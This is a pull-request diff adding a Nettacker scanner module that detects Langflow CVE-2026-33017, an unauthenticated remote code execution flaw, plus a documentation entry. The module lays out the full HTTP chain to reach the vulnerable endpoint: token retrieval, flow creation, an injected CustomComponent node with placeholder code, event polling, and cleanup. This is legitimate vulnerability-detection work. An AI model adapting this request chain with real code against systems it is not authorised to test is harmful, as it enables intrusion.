Skip to content
Open
Show file tree
Hide file tree
Changes from 8 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions docs/Modules.md
Original file line number Diff line number Diff line change
Expand Up @@ -216,6 +216,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
- '**joomla_cve_2023_23752_vuln**' – check the target for Joomla CVE-2023-23752 information disclosure
- '**justwriting_cve_2021_41878_vuln**' – check the target for JustWriting CVE-2021-41878
- '**langflow_cve_2025_3248_vuln**' - check the target for Langflow CVE-2025-3248 vulnerability
- '**langflow_cve_2026_33017_vuln**' – check the target for Langflow CVE-2026-33017 unauthenticated RCE vulnerability
- '**log4j_cve_2021_44228_vuln**' – check the target for Log4Shell CVE-2021-44228 vulnerability
- '**majordomo_rce_cve_2026_27174_vuln**' – check for MajorDoMo CVE-2026-27174 vulnerability
- '**maxsite_cms_cve_2021_35265_vuln**' – check the target for MaxSite CMS CVE-2021-35265
Expand Down
196 changes: 196 additions & 0 deletions nettacker/modules/vuln/langflow_cve_2026_33017.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,196 @@
info:
name: langflow_cve_2026_33017_vuln
author: NSK-394
severity: 9.8
description: >
CVE-2026-33017 (CVSS 9.8) is an unauthenticated RCE in Langflow <= 1.8.2
via the /api/v1/build_public_tmp/{{flow_id}}/flow endpoint. This module
detects the vulnerability by submitting a uniquely-identified CustomComponent
node and monitoring the build event stream. Vulnerable instances (≤1.8.2)
process the injected node and reference it in build events. Patched instances
(≥1.9.0) silently discard attacker-supplied nodes. Detection confirms the
input-validation flaw without independently verifying code execution.
LIMITATION: Step 4 (event polling) currently times out due to Nettacker's
global CLI timeout (default 3.0s) overriding per-step timeout specifications
(module specifies 30s). Workaround: increase --timeout CLI flag when running.
Steps 1-3 are verified working. Non-destructive, suitable for production
scanning once timeout issue is resolved.
Comment thread
coderabbitai[bot] marked this conversation as resolved.
reference:

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

- https://nvd.nist.gov/vuln/detail/CVE-2026-33017
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx
profiles:
- vuln
- http
- critical_severity
- cve
- cve2026
- langflow
- rce

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@NSK-394 cisa_kev profile is missing

payloads:
- library: http
steps:
- method: get
timeout: 5
headers:
User-Agent: Nettacker
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/api/v1/auto_login"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 7860 # Default Langflow port
- 80
- 443
response:
save_to_temp_events_only: token
condition_type: and
conditions:
status_code:
regex: "200"
reverse: false
content:
regex: '"access_token":"([^"]*)"'
reverse: false
Comment thread
coderabbitai[bot] marked this conversation as resolved.

- method: post
timeout: 5
headers:
User-Agent: Nettacker
Content-Type: application/json
Authorization: "Bearer dependent_on_temp_event[0]['content'][0]"
ssl: false
data: '{{"name": "nettacker_check", "data": {{"nodes": [], "edges": []}}, "access_type": "PUBLIC"}}'
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/api/v1/flows/"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 7860 # Default Langflow port
- 80
- 443
response:
dependent_on_temp_event: token
save_to_temp_events_only: flow_id
condition_type: and
conditions:
status_code:
regex: "20[01]"
reverse: false
content:
regex: '"id":"([a-f0-9\-]{{36}})"'
reverse: false

- method: post
timeout: 10
headers:
User-Agent: Nettacker
Content-Type: application/json
Authorization: "Bearer dependent_on_temp_event[0]['content'][0]"
Cookie: "client_id=nettacker"
ssl: false
data: '{{"data": {{"nodes": [{{"id": "nettacker_vuln_check", "type": "genericNode", "position": {{"x": 0, "y": 0}}, "data": {{"type": "CustomComponent", "id": "nettacker_vuln_check", "node": {{"template": {{"_type": "CustomComponent", "code": {{"value": "pass", "type": "code"}}}}, "display_name": "NettackerCheck", "outputs": [{{"display_name": "Result", "name": "output", "method": "run", "types": ["str"]}}]}}}}}}], "edges": []}}}}'
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/api/v1/build_public_tmp/dependent_on_temp_event[1]['content'][0]/flow"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 7860 # Default Langflow port
- 80
- 443
response:
save_to_temp_events_only: job_id
dependent_on_temp_event: "token,flow_id"
Comment thread
coderabbitai[bot] marked this conversation as resolved.
condition_type: and
conditions:
status_code:
regex: "200"
reverse: false
content:
regex: '"job_id":"([a-f0-9\-]{{36}})"'
reverse: false

- method: get
# NOTE: This module requires running with --timeout 30 (or higher) due to a
# Nettacker engine limitation where TemplateLoader.parse() overwrites this
# per-step timeout with the global CLI --timeout default (currently default 3.0s).
# Workaround: use `nettacker.py ... --timeout 30` when running this module.
# See issue #1654 for details.
timeout: 30
headers:
User-Agent: Nettacker
Authorization: "Bearer dependent_on_temp_event[0]['content'][0]"
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/api/v1/build/dependent_on_temp_event[2]['content'][0]/events"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 7860 # Default Langflow port
- 80
- 443
response:
dependent_on_temp_event: "token,flow_id,job_id"
condition_type: and
conditions:
status_code:
regex: "200"
reverse: false
content:
regex: nettacker_vuln_check
reverse: false
log: "CVE-2026-33017: Vulnerable instance confirmed - injected node processed by build engine"

- method: delete
timeout: 5
headers:
User-Agent: Nettacker
Authorization: "Bearer dependent_on_temp_event[0]['content'][0]"
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/api/v1/flows/dependent_on_temp_event[1]['content'][0]"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 7860 # Default Langflow port
- 80
- 443
response:
save_to_temp_events_only: cleanup
dependent_on_temp_event: "token,flow_id"
condition_type: and
conditions:
status_code:
regex: "20[0-4]"
reverse: false
Loading